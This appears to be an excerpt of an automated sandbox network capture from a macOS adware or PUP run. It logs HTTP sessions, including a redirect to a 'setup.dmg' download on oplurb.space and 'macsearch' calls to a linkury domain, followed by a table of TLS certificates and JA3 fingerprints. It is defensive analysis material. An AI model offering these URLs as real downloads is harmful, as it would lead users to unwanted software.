Feb 14, 2019 12:59:46.408024073 MEZ	1975	IN	HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Date: Thu, 14 Feb 2019 11:59:46 GMT Location: http://www.oplurb.space/download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50 Server: nginx/1.10.3 (Ubuntu) Content-Length: 563 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 33 2e 32 20 46 69 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 6c 75 72 62 2e 73 70 61 63 65 2f 64 6f 77 6e 6c 6f 61 64 2f 64 6f 77 6e 6c 6f 61 64 64 6d 3f 63 6f 6d 3d 64 66 36 38 64 32 34 37 2d 65 39 66 32 2d 34 32 66 61 2d 62 36 38 31 2d 66 36 33 61 34 62 62 36 61 62 35 30 26 61 6d 70 3b 3d 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 63 69 66 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 73 69 64 77 3d 64 66 36 38 64 32 34 37 2d 65 39 66 32 2d 34 32 66 61 2d 62 36 38 31 2d 66 36 33 61 34 62 62 36 61 62 35 30 22 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 6c 75 72 62 2e 73 70 61 63 65 2f 64 6f 77 6e 6c 6f 61 64 2f 64 6f 77 6e 6c 6f 61 64 64 6d 3f 63 6f 6d 3d 64 66 36 38 64 32 34 37 2d 65 39 66 32 2d 34 32 66 61 2d 62 36 38 31 2d 66 36 33 61 34 62 62 36 61 62 35 30 26 61 6d 70 3b 3d 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 63 69 66 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 73 69 64 77 3d 64 66 36 38 64 32 34 37 2d 65 39 66 32 2d 34 32 66 61 2d 62 36 38 31 2d 66 36 33 61 34 62 62 36 61 62 35 30 3c 2f 61 3e 2e 20 20 49 66 20 6e 6f 74 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to target URL: <a href="http://www.oplurb.space/download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50">http://www.oplurb.space/download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50</a>. If not click the link.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.0.50	49293	52.89.234.147	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:46.646796942 MEZ	1977	OUT	GET /download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50 HTTP/1.1 Connection: keep-alive Host: www.oplurb.space
Feb 14, 2019 12:59:46.829441071 MEZ	1978	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename="setup.dmg" Content-Type: application/octet-stream Date: Thu, 14 Feb 2019 11:59:46 GMT Server: nginx/1.10.3 (Ubuntu) Content-Length: 528384 Connection: keep-alive Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.829731941 MEZ	1979	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.829926968 MEZ	1980	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.829958916 MEZ	1982	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830056906 MEZ	1983	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830189943 MEZ	1984	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830310106 MEZ	1985	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830430984 MEZ	1986	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830552101 MEZ	1988	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.830615044 MEZ	1989	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 14, 2019 12:59:46.984169960 MEZ	1991	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.0.50	49294	65.52.32.169	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:48.884222984 MEZ	2541	OUT	GET /MaxMind.asmx/GetGeoInfo HTTP/1.1 Host: cloud-search.linkury.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:49.011152983 MEZ	2542	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Encoding: gzip Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:48 GMT Content-Length: 263 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff 1e ef 16 65 7a 99 d7 4d 51 2d 3f fb 68 77 bc f3 51 9a 2f a7 d5 ac 58 5e 7c f6 d1 ba 3d df 3e f8 e8 f7 38 fa 8d 93 c7 4d 5b d3 47 29 b5 5e 36 9f 7d 34 6f db d5 a3 bb 77 db 7c b1 c2 ff d7 75 31 ae ea 8b bb 1f 1d ed 1e dc 1f ef 1e 3c 1c ef de df 19 3f d8 1b 9d 7c 7b f4 fa aa 68 7f 90 d7 65 b6 9c 8d e8 d9 7f 30 de dd df 3f 78 f8 60 ff d3 9d 87 f7 1e dc 1f 1d 50 db fb bb 3b f7 ef 3f dc 39 d8 db b9 b7 3b da a1 ff 1e df 95 fe 8e fe 1f 8f 29 46 28 a0 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"ezMQ-?hwQ/X^\|=>8M[G)^6}4ow\|u1<?\|{he0?x`P;?9;)F(

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 14, 2019 12:59:37.525084019 MEZ	52.219.28.25	443	192.168.0.50	49289	CN=*.s3-us-west-1.amazonaws.com, O=Amazon.com Inc., L=Seattle, ST=Washington, C=US CN=DigiCert Baltimore CA-2 G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Baltimore CA-2 G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Nov 08 01:00:00 CET 2018 Tue Dec 08 13:05:07 CET 2015	Wed Nov 06 13:00:00 CET 2019 Sat May 10 14:00:00 CEST 2025	771,255-49196-49195-49188-49187-49162-49161-49160-49200-49199-49192-49191-49172-49171-49170-157-156-61-60-53-47-10,0-10-11-13-5-18-23,23-24-25,0	e4d448cdfe06dc1243c1eb026c74ac9a
Feb 14, 2019 12:59:37.525084019 MEZ	52.219.28.25	443	192.168.0.50	49289	CN=DigiCert Baltimore CA-2 G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Tue Dec 08 13:05:07 CET 2015	Sat May 10 14:00:00 CEST 2025		e4d448cdfe06dc1243c1eb026c74ac9a
Feb 14, 2019 13:00:15.712578058 MEZ	178.250.2.146	443	192.168.0.50	49333	CN=*.criteo.com, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 05 01:00:00 CET 2018 Fri Mar 08 13:00:00 CET 2013	Fri Jan 03 13:00:00 CET 2020 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:15.712578058 MEZ	178.250.2.146	443	192.168.0.50	49333	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:15.968678951 MEZ	178.250.2.146	443	192.168.0.50	49335	CN=*.criteo.com, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 05 01:00:00 CET 2018 Fri Mar 08 13:00:00 CET 2013	Fri Jan 03 13:00:00 CET 2020 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:15.968678951 MEZ	178.250.2.146	443	192.168.0.50	49335	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.023156881 MEZ	185.235.84.148	443	192.168.0.50	49336	CN=*.gbc.criteo.com, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Oct 18 02:00:00 CEST 2018 Fri Mar 08 13:00:00 CET 2013	Mon Dec 02 13:00:00 CET 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.023156881 MEZ	185.235.84.148	443	192.168.0.50	49336	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.090581894 MEZ	74.117.182.93	443	192.168.0.50	49334	CN=www.1-1ads.com CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Dec 25 09:03:32 CET 2018 Thu Mar 17 17:40:46 CET 2016	Mon Mar 25 09:03:32 CET 2019 Wed Mar 17 17:40:46 CET 2021	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.090581894 MEZ	74.117.182.93	443	192.168.0.50	49334	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.234447002 MEZ	185.235.84.37	443	192.168.0.50	49339	CN=*.gbc.criteo.com, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Oct 18 02:00:00 CEST 2018 Fri Mar 08 13:00:00 CET 2013	Mon Dec 02 13:00:00 CET 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.234447002 MEZ	185.235.84.37	443	192.168.0.50	49339	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.372255087 MEZ	185.235.84.23	443	192.168.0.50	49340	CN=*.gbc.criteo.com, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Oct 18 02:00:00 CEST 2018 Fri Mar 08 13:00:00 CET 2013	Mon Dec 02 13:00:00 CET 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.372255087 MEZ	185.235.84.23	443	192.168.0.50	49340	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.501315117 MEZ	178.250.2.150	443	192.168.0.50	49341	CN=*.nl.eu.criteo.net, OU=CRITEO SA, O=Criteo SA, L=Paris, C=FR CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Nov 08 01:00:00 CET 2018 Fri Mar 08 13:00:00 CET 2013	Thu Dec 19 13:00:00 CET 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.501315117 MEZ	178.250.2.150	443	192.168.0.50	49341	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.533042908 MEZ	5.57.17.90	443	192.168.0.50	49342	CN=*.bstatic.com, O=Booking.com BV, L=Amsterdam, C=NL CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Jan 08 01:00:00 CET 2019 Fri Mar 08 13:00:00 CET 2013	Mon Jan 13 13:00:00 CET 2020 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.533042908 MEZ	5.57.17.90	443	192.168.0.50	49342	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.746378899 MEZ	5.57.17.220	443	192.168.0.50	49344	CN=www.booking.com, OU=Security Team, O=Booking.com BV, L=Amsterdam, C=NL, SERIALNUMBER=31047344, OID.1.3.6.1.4.1.311.60.2.1.3=NL, OID.2.5.4.15=Private Organization CN=DigiCert ECC Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert ECC Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 27 01:00:00 CET 2018 Tue Jun 21 14:54:27 CEST 2016	Mon Dec 02 13:00:00 CET 2019 Sat Jun 21 14:54:27 CEST 2031	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:16.746378899 MEZ	5.57.17.220	443	192.168.0.50	49344	CN=DigiCert ECC Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Jun 21 14:54:27 CEST 2016	Sat Jun 21 14:54:27 CEST 2031		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.051548958 MEZ	192.229.133.51	443	192.168.0.50	49346	CN=s-ec.bstatic.com, O=Booking.com BV, L=Amsterdam, C=NL CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 02 02:00:00 CEST 2018 Fri Mar 08 13:00:00 CET 2013	Thu Jun 27 14:00:00 CEST 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.051548958 MEZ	192.229.133.51	443	192.168.0.50	49346	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.164134026 MEZ	5.57.16.100	443	192.168.0.50	49347	CN=*.bstatic.com, O=Booking.com BV, L=Amsterdam, C=NL CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Jan 08 01:00:00 CET 2019 Fri Mar 08 13:00:00 CET 2013	Mon Jan 13 13:00:00 CET 2020 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.164134026 MEZ	5.57.16.100	443	192.168.0.50	49347	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.171471119 MEZ	5.57.17.99	443	192.168.0.50	49348	CN=*.bstatic.com, O=Booking.com BV, L=Amsterdam, C=NL CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Jan 08 01:00:00 CET 2019 Fri Mar 08 13:00:00 CET 2013	Mon Jan 13 13:00:00 CET 2020 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
